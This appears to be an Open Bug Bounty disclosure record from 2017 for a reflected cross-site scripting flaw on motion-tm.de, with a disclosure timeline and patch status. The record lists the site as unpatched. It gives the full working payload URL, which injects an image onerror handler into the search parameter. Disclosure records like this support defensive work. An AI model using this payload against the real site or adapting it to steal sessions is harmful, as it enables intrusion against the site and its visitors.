Lucene search

K
openbugbountyOmniGoochOBB:250757
HistoryJun 21, 2017 - 1:10 a.m.

motion-tm.de XSS vulnerability

2017-06-2101:10:00
OmniGooch
www.openbugbounty.org
6
Vulnerable URL:
http://www.motion-tm.de/?s=%3C/script%3E%3Cimg%20src=x%20onerror=prompt(/XSSPOSED/)%3E
Details:
Description Value
Patched: No
Latest check for patch: 29.07.2017
Vulnerability type: XSS
Vulnerability status: Publicly disclosed
Alexa Rank 866308
VIP website status: No
Check motion-tm.de SSL connection: (Grade: A)
Coordinated Disclosure Timeline:
Description Value
Vulnerability submitted via Open Bug Bounty 21 June, 2017 01:10 GMT
Generic security notifications sent to website owner 21 June, 2017 01:13 GMT
Notification sent to subscribers (without technical details) 21 June, 2017 02:17 GMT
Vulnerability details disclosed by researcher 28 June, 2017 01:14 GMT